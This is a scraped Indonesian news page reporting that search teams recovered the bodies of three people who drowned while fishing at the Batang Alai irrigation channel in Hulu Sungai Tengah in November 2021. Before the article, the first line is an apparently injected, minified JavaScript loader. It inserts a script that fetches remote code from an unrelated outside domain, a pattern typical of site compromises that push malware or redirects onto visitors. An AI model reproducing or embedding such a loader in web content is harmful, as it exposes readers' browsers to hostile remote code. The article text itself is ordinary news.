(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BARABAI – Korban tenggelam ketiga di irigasi Batang Alai, Desa Labuhan, Kecamatan Batang Alai Selatan, Kabupaten Hulu Sungai Tengah, akhirnya ditemukan.
Jasad Manto (45), korban ketiga ditemukan di bawah jembatan Gantung Labuhan sekitar pukul 16.47 Wita dalam keadaan meninggal dunia, Selasa (23/11/2021).
“Alhamdulillah, semua korban tiga orang sudah ditemukan,” ujar Feryan, relawan PMI Kabupaten HST, kepada Kanalkalimantan.com.
Tubuh tak bernyawa Beni Oktosimanto alias Manto (45) ditemukan di dekat jembatan gantung yang menghubungkan Labuan dan Labuan Seberang. Manto ditemukan dengan radius 1,5 kilometer di titik 0 tenggelam, Selasa (23/11/2021) pukul 16.47 Wita.
Baca juga : Bupati Banjar Siapkan Reward kepada Pelaksana Program Vaksinasi di Kecamatan Guna Percepatan Vaksinasi
Selasa (23/11/2021) siang, Tim SAR dan relawan gabungan menemukan korban pertama, Jery (18), sekitar pukul 11.55 Wita, di Muara Sungai Jilatan atau Sikutang Indah, dengan radius kurang lebih 300 meter dari titik nol korban tenggelam.
Kemudian tidak berselang lama, korban kedua Arga (14), ditemukan tim SAR sekitar pukul 12.00 Wita di Muara Mirarawai dengan radius kurang lebih 1,7 kilometer.
Sehari sebelumnya tiga orang dikabarkan tenggelam di bendungan irigasi Batang Alai, Desa Labuhan, Kecamatan Batang Alai Selatan, Kabupaten HST, pada Senin (22/11/2021).
Relawan PMI HST, Fazeri mengatakan, kepada kanalkalimantan.com, Senin (22/11/2021), kejadian laporan orang tenggelam sekitar pukul 15.00 Wita, dilaporkan tiga korban tersebut sedang memancing di lokasi irigasi.
Baca juga : Kuliner Khas Sekadau Ditetapkan Menjadi Warisan Budaya Tak Benda oleh Kemendikbud
Kemudian ada salah satu bernama Jery, sandalnya terjatuh ke dalam alirasn irigasi Batang Alai, mencoba mengambil sandal ke air.
“Tiba-tiba air sungai pasang mendadak, melihat korban Jery terbawa arus, temannya Arga berusaha membantu dengan cara terjun ke dalam sungai Irigasi Batang Alai, namun air sungai semakin pasang,” jelasnya.
Melihat kedua temannya, Manto berinisiatif memberi pertolongan dengan menjulurkan sebilah bambu kepada kedua korban. Nahas Manto pun ikut terseret arus sungai dan ikut tenggelam di irigasi Batang Alai. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.